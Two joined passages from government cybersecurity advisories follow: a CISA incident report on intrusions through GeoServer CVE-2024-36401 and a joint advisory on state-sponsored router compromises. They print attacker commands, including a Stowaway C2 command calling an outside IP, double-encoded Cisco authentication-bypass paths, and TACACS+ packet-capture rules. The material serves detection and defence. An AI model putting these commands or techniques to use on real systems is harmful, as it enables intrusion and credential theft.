• type c:inetpubwwwroot
• type c:inetpub
• dir c:inetpubwwwroot
• dir c:
• dir c:ifwapps
• dir d:
• dir e:
• net group “domain admins” /domain
• type C:WindowsSystem32inetsrvconfigapplicationHost.config
• dir c:ifwappsTier1Utilities
• netstat -ano
• curl
• net user
• tasklist

GeoServer 2

Based on images CISA received of GeoServer 2, CISA observed the bash history of a user that showed the use of Burp Collaborator to execute encoded host and network discovery commands.

Lateral Movement

In one instance, the cyber threat actors moved laterally from the Web Server to the SQL Server by enabling xp_cmdshell for RCE on GeoServer 1.

Command and Control

The cyber threat actors used PowerShell [T1059.001] and bitsadmin getfile to download payloads [T1105]. 

They used Stowaway [5], a publicly available multi-level proxy tool, to establish C2 [T1090]. Stowaway enabled the cyber threat actors to bypass the organization’s intranet restrictions and access internal network resources by forwarding traffic from their C2 server through the Web Server. They wrote Stowaway to disk using a tomcat service account.

The actors then executed Stowaway via /var/tmp/agent -c 45.32.22[.]62:4441 -s f86bc7ff68aff3ad –up http –reconnect 10.

To test their level of access, the cyber threat actors performed a ping sweep of multiple hosts in a particular subnet of the organization’s network. Next, the cyber threat actors downloaded a modified version of Stowaway using a curl command, successfully establishing an outbound connection with their C2 server using HTTP over TCP/4441.

On July 14, 2024, the cyber threat actors executed /tmp/mm.sh on the Web Server followed by an encoded command to execute Stowaway. The contents of this file could not be recovered. Additionally, they used Stowaway to establish a second C2 connection over TCP/50012, likely serving as a backup C2 channel.

CISA discovered evidence of various files hosted on the C2 server, including numerous publicly available tools and scripts:

• RingQ antivirus defense evasion tool (RingQ.exe, RingQ.rar)
• IOX proxy tool (iox.rar)
• BusyBox trojan multi-tool (busybox)
• WinRAR archive tool (Rar.exe)
• Stowaway proxy tool (agent, agent.tar, agent.zip, agentu.exe)
• Web shells (Handx.ashx, start_tomcat.jsp)
• Various shell scripts (mm.sh, t.py, t1.sh, c.bat)

Detection

The cyber threat actors remained undetected in the organization’s environment for three weeks before the organization’s SOC identified the compromise using their EDR tool. On July 31, 2024, their EDR tool identified a 1.txt file uploaded as suspected malware on the SQL Server. The SOC responded to additional alerts when the cyber threat actors transferred 1.txt to the SQL Server through bitsadmin after attempting other LOTL techniques, such as leveraging PowerShell and certutil. The alerts generated by this activity on the SQL server prompted the SOC to contain the server, initiate an investigation, request assistance from CISA, and uncover malicious activity on GeoServer 1.

Lessons Learned

CISA is sharing the following lessons learned based on what CISA learned about the organization’s security posture through incident detection and response activities.

1. Vulnerabilities were not promptly remediated.
   1. The cyber threat actors exploited CVE-2024-36401 for initial access on two GeoServers.
   2. The vulnerability was disclosed June 30, 2024, and the cyber threat actors exploited it for initial access to GeoServer 1 on July 11, 2024.
   3. The vulnerability was added to CISA’s KEV Catalog on July 15, 2024, and by July 24, 2024, the vulnerability was not patched when the cyber threat actors exploited it for access to GeoServer 2.
      1. Note: FCEB agencies are required to remediate vulnerabilities in CISA’s KEV Catalog within prescribed timeframes under Binding Operational Directive (BOD) 22-01. July 24, 2024, was within the KEV-required patching window for this CVE. However, CISA encourages FCEB agencies and critical infrastructure organizations to address KEV catalog vulnerabilities immediately as part of their vulnerability management plan.
2. The agency did not test or exercise their IRP, nor did their IRP enable them to promptly engage third parties and grant third parties’ access to necessary resources.
   1. On Aug. 1, 2024, upon discovering the endpoint alerts, the agency conducted remote triage of affected systems and used their EDR tool to contain the intrusion.
      1. After containment, the agency engaged CISA to investigate potential threat actor persistence in their environment.
      2. Their IRP did not have procedures for bringing in third parties for assistance, which hampered CISA’s efforts to respond to the incident quickly and efficiently.
         1. The agency could not provide CISA remote access to their security information and event management (SIEM) tool, which initially kept CISA from reviewing all available logs, hindering CISA’s analysis.
         2. The agency had to go through their change control board process before CISA could deploy their EDR agents.
         3. The agency could have proactively identified these roadblocks by testing their IRP, such as via a tabletop exercise, but had not tested their plan for a long period.
3. EDR alerts were not continuously reviewed, and some public-facing systems lacked endpoint protection.
   1. The activity remained undetected for three weeks; the agency missed an opportunity to detect this activity on July 15, 2024, as they did not observe an alert from GeoServer 1 where the EDR detected the Stowaway tool.
   2. The Web Server lacked endpoint protection.

Indicators of Compromise

See Table 1 for IOCs associated with this activity.

Disclaimer: The IP addresses in this advisory were observed in August 2024, and some may be associated with legitimate activity. Organizations are encouraged to investigate the activity around these IP addresses prior to taking action, such as blocking. Activity should not be attributed as malicious without analytical evidence to support they are used at the direction of, or controlled by, threat actors.

Table 1. IOCs

IOC	Type	Date	Description
45.32.22[.]62	IPv4	Mid-July to early August 2024	C2 Server IP Address
45.17.43[.]250	IPv4	Mid-July to early August 2024	C2 Server IP Address
0777EA1D01DAD6DC261A6B602205E2C8	MD5	Mid-July to early August 2024	China Chopper Web Shell
feda15d3509b210cb05eacc22485a78c	MD5	Mid-July to early August 2024	Generic PHP Web Shell
C9F4C41C195B25675BFA860EB9B45945	MD5	Mid-July to early August 2024	Linux Exploit CVE-2016-5195
B7B3647E06F23B9E83D0B1CCE3E71642	MD5	Mid-July to early August 2024	Dirtycow
64e3a3458b3286caaac821c343d4b208	MD5	Mid-July to early August 2024	Stowaway Proxy Tool
20b70dac937377b6d0699a44721acd80	MD5	Mid-July to early August 2024	Unknown Downloaded Executable
de778443619f37e2224898a9a800fa78	MD5	Mid-July to early August 2024	Unknown Downloaded Executable

MITRE ATT&CK Tactics and Techniques

See Table 2 through Table 11 for all referenced threat actor tactics and techniques.

Table 2. Reconnaissance

Technique Title	ID	Use
Active Scanning: Vulnerability Scanning	T1595.002	The cyber threat actors performed active scanning to identify vulnerabilities they could use for initial access.

Table 3. Resource Development

Technique Title	ID	Use
Acquire Infrastructure: Virtual Private Server	T1583.003	The cyber threat actors gained remote access to the victim’s network using a desktop behind a virtual private server (VPS).

Table 4. Initial Access

Technique Title	ID	Use
Exploit Public-Facing Application	T1190	The cyber threat actors exploited CVE 2024-36401 on two of the organization’s public-facing GeoServers.

Table 5. Execution

Technique Title	ID	Use
Command and Scripting Interpreter: PowerShell	T1059.001	The cyber threat actors used PowerShell to download a payload.

Table 6. Defense Evasion

Technique Title	ID	Use
Indirect Command Execution	T1202	The cyber threat actors employed indirect command execution via web shells.

Table 7. Persistence

Technique Title	ID	Use
BITS Jobs	T1197	The cyber threat actors abused BITS jobs.
Scheduled Task/Job: Cron	T1053.003	The cyber threat actors established persistence through cron jobs.
Server Software Component: Web Shell	T1505.003	The cyber threat actors uploaded web shells for persistence.
Valid Accounts	T1078	The cyber threat actors used valid accounts for persistence.

Table 8. Privilege Escalation

Technique Title	ID	Use
Exploitation for Privilege Escalation	T1068	The cyber threat actors attempted to exploit CVE-2016-5195 to escalate privileges.

Table 9. Credential Access 

Technique Title	ID	Use
Brute Force	T1110	The cyber threat actors used brute force techniques to obtain login credentials for web services.

Table 10. Discovery

Technique Title	ID	Use
Account Discovery: Local Account	T1087.001	The cyber threat actors used cat /etc/passwd to discover local users.
File and Directory Discovery	T1083	The cyber threat actors used dir c:, dir d:, dir e:, and type c: commands to identify files and directories on the SQL server.
Network Service Discovery	T1046	The cyber threat actors used fscan to identify SSH listeners and FTP servers.
Process Discovery	T1057	The cyber threat actors used tasklist on the SQL server.
Remote System Discovery	T1018	The cyber threat actors performed ping sweeps of hosts within specific subnets.
System Information Discovery	T1082	The cyber threat actors used cat /etc/redhat-release and cat /etc/os-release commands to get Red Hat Enterprise Linux (RHEL) and Linux operating system information.
System Network Configuration Discovery	T1016	The cyber threat actors used ipconfig to check GeoServer 1’s and the SQL server’s network configurations.
System Network Connections Discovery	T1049	The cyber threat actors executed commands such as netstat to obtain a listing of network connections to or from the systems they compromised.
System Owner/User Discovery	T1033	The cyber threat actors used whoami on the SQL server.

Table 11. Command and Control

Technique Title	ID	Use
Ingress Tool Transfer	T1105	The cyber threat actors used PowerShell and bitsadmin getfile to download payloads.
Proxy	T1090	The cyber threat actors used a connection proxy to direct traffic from their C2 server.

Mitigations

CISA recommends organizations implement the mitigations below to improve cybersecurity posture based on lessons learned from the engagement. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.

• Establish a vulnerability management plan that includes procedures for prioritization and emergency patching.
  • Prioritize patching of known exploited vulnerabilities listed in the KEV catalog.
    • CISA urges organizations to address KEV catalog vulnerabilities immediately.
  • Prioritize patching vulnerabilities in high-risk systems, including public facing systems as they are attractive targets for threat actors.
  • Ensure high-risk systems are identified and prioritized for rapid patching by implementing asset management practices and conducting an asset inventory.
    • Continuously discover and validate internet-facing assets through automated asset management and scanning (e.g., attack surface management tools, vulnerability scanners).
    • Consider using a configuration management database (CMDB) with discovery and vulnerability tools to enrich asset context and support automated prioritization.
  • Form a dedicated team responsible for assessing and implementing emergency patches, this team should include representatives from IT, security, and relevant business units.
• Maintain, practice, and update cybersecurity IRPs [CPG 2.S, 5.A].
  • Prepare a written IRP policy and IRP with senior leadership support.
    • The policy should identify purpose and objectives, what constitutes an incident, prioritization or severity ratings of incidents, clear escalation procedures, IR personnel, and plans for notification, interaction and information sharing with media, law enforcement, and partners.
    • The IRP should identify:
      • Key personnel with knowledge of the network
      • Key resources and courses of action (COAs) for containment and eradication in the event of compromise.
      • Procedures for granting third parties prompt access to networks and security tools.
        • This should include processes for expediating deployment of EDR and other security tools through change control boards (CCBs).
    • The IRP should include procedures for establishing out-of-band communications systems and accounts in case primary systems are compromised or not available (such as with ransomware incidents).
    • Periodically test the IRP under real-world conditions, such as via purple team engagements and tabletop exercises.
      • During the test, include engagement with third party incident responders and external EDR agents and other tools.
      • Following the test, update the IRP as necessary.
      • See CISA’s Tabletop Exercise Packages for resources designed to assist organizations with conducting their own exercises.
    • For more information on IRPs, see the National Institute of Science and Technology’s (NIST’s) SP 800-61 Rev. 3, Incident Response Recommendations and Considerations for Cybersecurity Risk Management: A CSF 2.0 Community Profile.
• Implement comprehensive (i.e., large coverage) and verbose (i.e., detailed) logging and aggregate logs in an out-of-band, centralized location.
  • Prepare SOCs with sufficient resources to monitor collected logs and responses to malicious cyber threat activity.
  • Consider using a SIEM solution for log aggregation and management.
  • Identify, alert on, and investigate abnormal network activity (as threat actor activity generates unusual network traffic across all phases of the attack chain).
    • Abnormal activity to look for includes:
      • Running scans to discover other network connected devices.
      • Running commands to list, add, or alter administrator accounts.
      • Using PowerShell to download and execute remote programs.
      • Running scripts not usually seen on a network.
    • For additional information, see joint guide Identifying and Mitigating Living off the Land Techniques, which provides prioritized detection recommendations that enable behavior analytics, anomaly detection, and proactive hunting.

In addition to the above, CISA recommends organizations implement the following mitigations based on threat actor activity:

• Require phishing-resistant MFA for access to all privileged accounts and email services accounts [CPG 2.H].
• Implement allowlisting for applications, scripts, and network traffic to prevent unauthorized execution and access.

Validate Security Controls

In addition to applying mitigations, CISA recommends exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK Matrix for Enterprise framework in this advisory. CISA recommends testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

1. Select an ATT&CK technique described in this advisory (see Table 3 through Table 11).
2. Align your security technologies against the technique.
3. Test your technologies against the technique.
4. Analyze your detection and prevention technologies’ performance.
5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

CISA recommends continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

Resources

• Incident Response Plan (IRP) Basics
• Identifying and Mitigating Living Off the Land Techniques
• Phishing-Resistant Multi-Factor Authentication (MFA) Success Story: USDA’s Fast IDentity Online (FIDO) Implementation

Disclaimer

The information in this report is being provided “as is” for informational purposes only. CISA does not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA.

Version History

September 23, 2025: Initial version.

Apendix: Key Events Timeline

Date/Time	Relevant Host	Event
July 1, 2024	n/a	CVE-2024-36401 published.
July 11, 2024	GeoServer 1	Initial Access to GeoServer 1.
July 15, 2024	n/a	CVE-2024-36401 added to CISA’s Known Exploited Vulnerabilities Catalog.
July 15, 2024	GeoServer 1	EDR detects Stowaway tool on GeoServer 1.
July 24, 2024	GeoServer 2	Initial Access to GeoServer 2.
July 31, 2024	Web Server	Initial Access to Web Server.
July 31, 2024	SQL Server	Initial Access to SQL Server.
Aug. 1, 2024	SQL Server, GeoServer 1	Organization observes SQL Alert and contains SQL Server and GeoServer 1.
Aug. 1, 2024	n/a	Impacted organization requested CISA’s threat hunting assistance.
Aug. 5, 2024	n/a	The impacted organization requested assistance from CISA; CISA began forensic artifact analysis.
Aug. 6, 2024	GeoServer 2	Last observed threat actors’ activity—discovery commands on GeoServer 2.
Aug. 8 – Sept. 3, 2024	n/a	CISA conducted their full incident response.

Notes

[1] “GeoServer/GeoServer,” GitHub, published July 1, 2024, https://github.com/geotools/geotools/security/advisories/GHSA-w3pj-wh35-fq8w.

[2] “firefart/dirtycow,” GitHub, last modified 2021, https://github.com/firefart/dirtycow.

[3] “T4y1oR/RingQ” GitHub, last modified February 19, 2025. https://github.com/T4y1oR/RingQ.

[4] “shadow1ng/fscan,” GitHub, last modified July 2025, https://github.com/shadow1ng/fscan.

[5] “ph4ntonn/Stowaway,” GitHub, last modified April 2025, https://github.com/ph4ntonn/Stowaway.

---

Source: US-CERT Alerts

People’s Republic of China (PRC) state-sponsored cyber threat actors are targeting networks globally, including, but not limited to, telecommunications, government, transportation, lodging, and military infrastructure networks. While these actors focus on large backbone routers of major telecommunications providers, as well as provider edge (PE) and customer edge (CE) routers, they also leverage compromised devices and trusted connections to pivot into other networks. These actors often modify routers to maintain persistent, long-term access to networks. 

This activity partially overlaps with cyber threat actor reporting by the cybersecurity industry—commonly referred to as Salt Typhoon, OPERATOR PANDA, RedMike, UNC5807, and GhostEmperor, among others. The authoring agencies are not adopting a particular commercial naming convention and hereafter refer to those responsible for the cyber threat activity more generically as “Advanced Persistent Threat (APT) actors” throughout this advisory. This cluster of cyber threat activity has been observed in the United States, Australia, Canada, New Zealand, the United Kingdom, and other areas globally.

This Cybersecurity Advisory (CSA) includes observations from various government and industry investigations where the APT actors targeted internal enterprise environments, as well as systems and networks that deliver services directly to customers. This CSA details the tactics, techniques, and procedures (TTPs) leveraged by these APT actors to facilitate detection and threat hunting, and provides mitigation guidance to reduce the risk from these APT actors and their TTPs.

This CSA is being released by the following authoring and co-sealing agencies:

• United States National Security Agency (NSA)
• United States Cybersecurity and Infrastructure Security Agency (CISA)
• United States Federal Bureau of Investigation (FBI)
• United States Department of Defense Cyber Crime Center (DC3)
• Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)
• Canadian Centre for Cyber Security (Cyber Centre)
• Canadian Security Intelligence Service (CSIS)
• New Zealand National Cyber Security Centre (NCSC-NZ)
• United Kingdom National Cyber Security Centre (NCSC-UK)
• Czech Republic National Cyber and Information Security Agency (NÚKIB) – Národní úřad pro kybernetickou a informační bezpečnost
• Finnish Security and Intelligence Service (SUPO) – Suojelupoliisi
• Germany Federal Intelligence Service (BND) – Bundesnachrichtendienst
• Germany Federal Office for the Protection of the Constitution (BfV) –   Bundesamt für Verfassungsschutz
• Germany Federal Office for Information Security (BSI) – Bundesamt für Sicherheit in der Informationstechnik
• Italian External Intelligence and Security Agency (AISE) – Agenzia Informazioni e Sicurezza Esterna
• Italian Internal Intelligence and Security Agency (AISI) – Agenzia Informazioni e Sicurezza Interna
• Japan National Cyber Office (NCO) – 国家サイバー統括室
• Japan National Police Agency (NPA) – 警察庁
• Netherlands Defence Intelligence and Security Service (MIVD) – Militaire Inlichtingen- en Veiligheidsdienst
• Netherlands General Intelligence and Security Service (AIVD) – Algemene Inlichtingen- en Veiligheidsdienst
• Polish Military Counterintelligence Service (SKW) – Służba Kontrwywiadu Wojskowego
• Polish Foreign Intelligence Agency (AW) – Agencja Wywiadu
• Spain National Intelligence Centre (CNI) – Centro Nacional de Inteligencia

The authoring agencies strongly urge network defenders to hunt for malicious activity and to apply the mitigations in this CSA to reduce the threat of Chinese state-sponsored and other malicious cyber activity.

Any mitigation or eviction measures listed within are subject to change as new information becomes available and ongoing coordinated operations dictate. Network defenders should ensure any actions taken in response to the CSA are compliant with local laws and regulations within the jurisdictions within which they operate. 

Background

The APT actors have been performing malicious operations globally since at least 2021. These operations have been linked to multiple China-based entities, including at least Sichuan Juxinhe Network Technology Co. Ltd. (四川聚信和网络科技有限公司), Beijing Huanyu Tianqiong Information Technology Co., Ltd. (北京寰宇天穹信息技术有限公司), and Sichuan Zhixin Ruijie Network Technology Co., Ltd. (四川智信锐捷网络科技有限公司). These companies provide cyber-related products and services to China’s intelligence services, including multiple units in the People’s Liberation Army and Ministry of State Security. The data stolen through this activity against foreign telecommunications and Internet service providers (ISPs), as well as intrusions in the lodging and transportation sectors, ultimately can provide Chinese intelligence services with the capability to identify and track their targets’ communications and movements around the world.

For more information on PRC state-sponsored malicious cyber activity, see CISA’s People’s Republic of China Cyber Threat Overview and Advisories webpage.

Download the PDF version of this report:

For a downloadable list of IOCs, visit:

Cybersecurity Industry Tracking 

The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to this Chinese state-sponsored cyber activity. While not all encompassing, the following are the most notable threat group names related to this activity and commonly used within the cybersecurity community:

• Salt Typhoon,
• OPERATOR PANDA,
• RedMike,
• UNC5807, and
• GhostEmperor. 

Note: Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the authoring agencies’ understanding for all activity related to these groupings.

Technical details

Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 17 and MITRE ATT&CK for ICS framework, version 17. See the Appendix A: MITRE ATT&CK Tactics and Techniques section of this advisory for a table of the APT actors’ activity mapped to MITRE ATT&CK tactics and techniques.

Initial access

Investigations associated with these APT actors indicate that they are having considerable success exploiting publicly known common vulnerabilities and exposures (CVEs) and other avoidable weaknesses within compromised infrastructure [T1190]. Exploitation of zero-day vulnerabilities has not been observed to date. The APT actors will likely continue to adapt their tactics as new vulnerabilities are discovered and as targets implement mitigations, and will likely expand their use of existing vulnerabilities. The following list is not exhaustive and the authoring agencies suspect that the APT actors may target other devices (e.g., Fortinet firewalls, Juniper firewalls, Microsoft Exchange, Nokia routers and switches, Sierra Wireless devices, Sonicwall firewalls, etc.). 

Defenders should prioritize the following CVEs due to their historical exploitation on exposed network edge devices by these APT actors. Exploited CVEs include:

• CVE-2024-21887 – Ivanti Connect Secure and Ivanti Policy Secure web-component command injection vulnerability, commonly chained after CVE-2023-46805 (authentication bypass)
• CVE-2024-3400 – Palo Alto Networks PAN-OS GlobalProtect arbitrary file creation leading to OS command injection. The CVE allows for unauthenticated remote code execution (RCE) on firewalls when GlobalProtect is enabled on specific versions/configurations.
• CVE-2023-20273 – Cisco Internetworking Operating System (IOS) XE software web management user interface post-authentication command injection/privilege escalation (commonly chained with CVE-2023-20198 for initial access to achieve code execution as root) [T1068]
• CVE-2023-20198 – Cisco IOS XE web user interface authentication bypass vulnerability
  • While exploiting CVE-2023-20198, the APT actors used the Web Services Management Agent (WSMA) endpoints /webui_wsma_Http or /webui_wsma_Https to bypass authentication and create unauthorized administrative accounts. In some cases, the APT actors obfuscated requests by “double encoding” portions of the path, e.g., /%2577eb%2575i_%2577sma_Http or /%2577eb%2575i_%2577sma_Https [T1027.010]. Observed requests varied in case, so hunting and detection should be case-insensitive and tolerant of over-encoding.
  • After patching this CVE, WSMA endpoints requests are internally proxied, and the system adds a Proxy-Uri-Source HTTP header as part of the remediation logic. The presence of Proxy-Uri-Source header in traffic to /webui_wsma_* indicates a patched device handling the request, not exploitation. This can help distinguish between vulnerable and remediated systems when analyzing logs or captures.
• CVE-2018-0171 – Cisco IOS and IOS XE smart install remote code execution vulnerability

The APT actors leverage infrastructure, such as virtual private servers (VPSs) [T1583.003] and compromised intermediate routers [T1584.008], that have not been attributable to a publicly known botnet or obfuscation network infrastructure to target telecommunications and network service providers, including ISPs [T1090]. 

The APT actors may target edge devices regardless of who owns a particular device. Devices owned by entities who do not align with the actors’ core targets of interest still present opportunities for use in attack pathways into targets of interest. The actors leverage compromised devices and trusted connections or private interconnections (e.g., provider-to-provider or provider-to-customer links) to pivot into other networks [T1199]. In some instances, the actors modify routing and enable traffic mirroring (switch port analyzer (SPAN)/remote SPAN (RSPAN)/encapsulated remote SPAN (ERSPAN) where available) on compromised network devices and configure Generic Routing Encapsulation (GRE)/IPsec tunnels and static routes to achieve the same goal [T1095]. Additionally, these APT actors often simultaneously exploit large numbers of vulnerable, Internet-exposed devices across many IP addresses and may revisit individual systems for follow-on operations.

Initial access vectors remain a critical information gap for parties working to understand the scope, scale, and impact of the actors’ malicious activity. The authoring agencies encourage organizations to provide compromise details to appropriate authorities (see Contact information) to continue improving all parties’ understanding and responses.

Persistence

To maintain persistent access to target networks, the APT actors use a variety of techniques. Notably, a number of these techniques can obfuscate the actors’ source IP address in system logs, as their actions may be recorded as originating from local IP addresses [T1027]. Specific APT actions include:

• Modifying Access Control Lists (ACLs) to add IP addresses. This alteration allows the actors to bypass security policies and maintain ongoing access by explicitly permitting traffic from a threat actor-controlled IP address [T1562.004].
  • The APT actors often named their ACLs “access-list 20”. When 20 was already used, the actors commonly used 50 or 10.
• Opening standard and non-standard ports, which can open and expose a variety of different services (e.g., Secure Shell [SSH], Secure File Transfer Protocol [SFTP], Remote Desktop Protocol [RDP], File Transfer Protocol [FTP], HTTP, HTTPS) [T1071]. This strategy supplies multiple avenues for remote access and data exfiltration. Additionally, utilizing non-standard ports can help the APT actors evade detection by security monitoring tools that focus on standard port activity [T1571].
  • The APT actors have been enabling SSH servers and opening external-facing ports on network devices to maintain encrypted remote access [T1021.004]. In some cases, the SSH services were established on high, non-default Transmission Control Protocol (TCP) ports using the port numbering scheme of 22x22 or xxx22, though port patterns may vary across intrusions. The actors may add keys to existing SSH services to regain entry into network devices [T1098.004].
  • The APT actors enable or abuse built-in HTTP/HTTPS management servers and sometimes reconfigure them to non-default high ports. Note: HTTP servers have been observed using the port numbering scheme of 18xxx.
    • Enabling HTTP/HTTPS servers on Cisco devices affected by CVE-2023-20198. If the web UI feature is enabled on Cisco IOS XE Software, this vulnerability provides an entry opportunity for the APT actors.
• Following compromise of a router, the following commands and activities have been observed on compromised devices [T1059.008]:
  • Executing commands via SNMP [T1569].
  • SSH activity from remote or local IP addresses.
  • Web interface panel (POST) requests.
  • When present, using service or automation credentials (e.g., those used by configuration-archival systems such as RANCID) to enumerate and access other networking devices.
  • Executing Tcl scripts (e.g., TCLproxy.tcl and map.tcl) on Cisco IOS devices where tclsh was available.
• Depending on the configuration of the Simple Network Management Protocol (SNMP) on the compromised network device, the APT actors enumerate and alter the configurations for other devices in the same community group, when possible [T1021]. Note: Properly configured SNMPv3 is considerably more secure than previous versions.
  • Utilizing SNMPwalk (SNMP GET/WALK) to enumerate devices from APT actor-controlled hosts. Where configuration changes were observed, they were issued as SNMP SET requests to writable objects from those hosts [T1016].
• Creating tunnels over protocols, such as Generic Routing Encapsulation (GRE), multipoint GRE (mGRE), or IPsec, on network devices, presumably based on what would be expected in the environment [T1572].
  • These tunnels allow for the encapsulation of multiple network layer protocols over a single tunnel, which can create persistent and covert channels for data transmission to blend in with normal network traffic.
  • Some of these actions may obscure the APT actors’ source IP address in logs due to being logged as a local IP.
• Running commands in an on-box Linux container on supported Cisco networking devices to stage tools, process data locally, and move laterally within the environment. This often allows the APT actors to conduct malicious activities undetected because activities and data within the container are not monitored closely. [T1610] [T1588.002] [T1588.005] [T1059.006].
  • Within Guest Shell, running Python (such as siet.py to exploit Cisco Smart Install) and native Linux tooling, installing packages (e.g., via pip/yum where available), parsing and staging locally collected artifacts (e.g., configurations, packet captures) on device storage [T1560]. On NX-OS devices specifically, using dohost to script host-level CLI actions for reconnaissance and persistence. For Cisco IOS XE, Guest Shell is a Linux container (LXC) managed by IOx that is enabled with guestshell enable and accessed with guestshell run bash. By default, processes inside Guest Shell egress via the management virtual routing and forwarding (VRF) instance. On platforms without a dedicated management port, connectivity can be provided with a VirtualPortGroup interface. Guest Shell can execute Python and other 64-bit Linux applications and can read/write device-accessible storage (e.g., flash) as configured. [T1609] [T1543.005]
  • For Cisco NX-OS, Guest Shell is an LXC environment entered with run guestshell. It has direct access to bootflash: and can invoke host NX-OS CLI via the dohost utility. Networking uses the device’s default VRF by default. Operators (or malware) can run commands in other VRFs using chvrf. Systemd-managed services are typically long-running components inside Guest Shell.
  • Using guestshell disable and guestshell destroy commands to deactivate and uninstall Guest Shell container and return all resources to the system [T1070.009].
• Leveraging open source multi-hop pivoting tools, such as STOWAWAY, to build chained relays for command and control (C2) and operator access, including interactive remote shells, file upload and download, SOCKS5/HTTP proxying, and local/remote port mapping with support for forward and reverse connections over encrypted node-to-node links [T1090.003].

Lateral movement & collection

Following initial access, the APT actors target protocols and infrastructure involved in authentication—such as Terminal Access Controller Access Control System Plus (TACACS+)—to facilitate lateral movement across network devices, often through SNMP enumeration and SSH. From these devices, the APT actors passively collect packet capture (PCAP) from specific ISP customer networks [T1040] [T1005]. To further support discovery and lateral movement, the APT actors may target: 

• Authentication Protocols including TACACS+ and Remote Authentication Dial-In User Service (RADIUS)
• Managed Information Base (MIB) [T1602.001]
• Router interfaces
• Resource Reservation Protocol (RSVP) sessions
• Border Gateway Protocol (BGP) routes
• Installed software
• Configuration files [T1590.004] [T1602.002]
  • This is achieved either from existing sources in the network (e.g., output of provider scripts) or through active survey of devices and Trivial File Transfer Protocol (TFTP), to include Multiprotocol Label Switching (MPLS) configuration information.
• In-transit network traffic using native capabilities to capture or mirror traffic via the SPAN, RSPAN, or ERSPAN capabilities available on many router models.
• Provider-held data, such as:
  • Subscriber information
  • User content
  • Customer records and metadata
  • Network diagrams, inventories, device configurations, and vendor lists
  • Passwords

Capturing network traffic containing credentials via compromised routers is a common method for further enabling lateral movement [T1040]. This typically takes the form of:

• Leveraging native PCAP functionalities (e.g., Cisco’s Embedded Packet Capture) on routers to collect RADIUS or TACACS+ authentication traffic, which may contain credentials transmitted in cleartext or weakly protected forms.
  • PCAPs have been observed containing naming schemes such as mycap.pcap, tac.pcap, 1.pcap, or similar variations.
• Modifying a router’s TACACS+ server configuration to point to an APT actor-controlled IP address [T1556]. These actors may use this capability to capture authentication attempts from network administrators or other devices. They may also adjust Authentication, Authorization, and Accounting (AAA) configurations, forcing devices to use less secure authentication methods or send accounting information to their infrastructure.

The APT actors collect traffic at Layer 2 or 3 (depending on the protocol used), largely from Cisco IOS devices; however, targeting of other device types is also likely. Based on analysis, the APT actors hold interest in making configuration and routing changes to the devices after compromising the routers. While some actions are specific to Cisco devices, the actors are capable of targeting devices from other vendors and could utilize similar functionality. The APT actors perform several of the modifications or techniques below to facilitate follow-on actions.

• Creating accounts/users and assigning privileges to those accounts, often via modifying router configurations [T1136.001].
  • Brute forcing and re-using credentials to access Cisco devices. If a router configuration is collected during initial exploitation and contains a weak hashed Cisco Type 5 (MD5) or 7 (legacy, weak reversible encoding) password [T1003] [T1110.002]. Weak credentials, such as “cisco” as the username and password, are routinely exploited through these techniques.
• Scanning for open ports and services and mirroring (SPAN/RSPAN sessions), allowing traffic monitoring from multiple interfaces [T1595].
• Running commands on the router via SNMP, SSH, and HTTP GET or POST requests. These requests typically target privileged execution paths, such as /level/15/exec/-/*, and may include instructions to display configuration files, access BGP routes, manage VRF instances, or clear system logs [T1082].
  • Many compromised devices use well known SNMP community strings, including “public” and “private”.
• Configuring PCAP capabilities to collect network traffic.
• Configuring tunnels.
• Using monitoring tools present in the environment to monitor a device’s (commonly a router’s) configuration changes.
• Updating routing tables to route traffic to actor-controlled infrastructure.
• Using several techniques to avoid detection of their activity, including:
  • Deleting and/or clearing logs, possibly in tandem with reverting or otherwise modifying stored configuration files to avoid leaving traces of the modifications [T1070].
  • Disabling logging and/or disabling sending logs to central servers.
  • Stopping/starting event logging on network devices.
  • Configuring a Cisco device to run a Guest Shell container to evade detection from collecting artifacts, data, or PCAP [T1610].

Exfiltration

A key concern with exfiltration is the APT actors’ abuse of peering connections (i.e., a direct interconnection between networks that allows traffic exchange without going through an intermediary) [T1599]. Exfiltration may be facilitated due to a lack of policy restraints or system configurations limiting the types of data received by peered ISPs.

Analysis indicates that the APT actors leverage separate (potentially multiple) command and control channels for exfiltration to conceal their data theft within the noise of high-traffic nodes, such as proxies and Network Address Translation (NAT) pools. The APT actors often use tunnels, such IPsec and GRE, to conduct C2 and exfiltration activities [T1048.003].

Case study

This section details techniques employed by the APT actors, as well as indicators received from analysis to detect this activity. The APT actors were stopped before further actions could be taken on the compromised network.

Collecting native PCAP

The APT actors collected PCAPs using native tooling on the compromised system, with the primary objective likely being to capture TACACS+ traffic over TCP port 49. TACACS+ packet bodies can be decrypted if the encryption key is known. In at least one case, the device configuration stored the TACACS+ shared secret using Cisco Type 7 reversible obfuscated encoding. Recovering that secret from the configuration would enable offline decryption of captured TACACS+ payloads. TACACS+ traffic is used for authentication, often for administration of network equipment and including highly privileged network administrators accounts and credentials, likely enabling the actors to compromise additional accounts and perform lateral movement. 
The commands listed in Table 1 were observed on a Cisco IOS XE-based host to aid PCAP exfiltration.

Host-level indicators

If console logging or visibility of remote FTP/TFTP from a network appliance are available, the following host-level indicators may assist with detecting activity: 

Capture name: 'mycap' 
Capture rule: 'match ipv4 protocol tcp any any eq 49' 
Exported pcap filename: 'tac.pcap'

tftp remote filename: 'tac.pcap' 
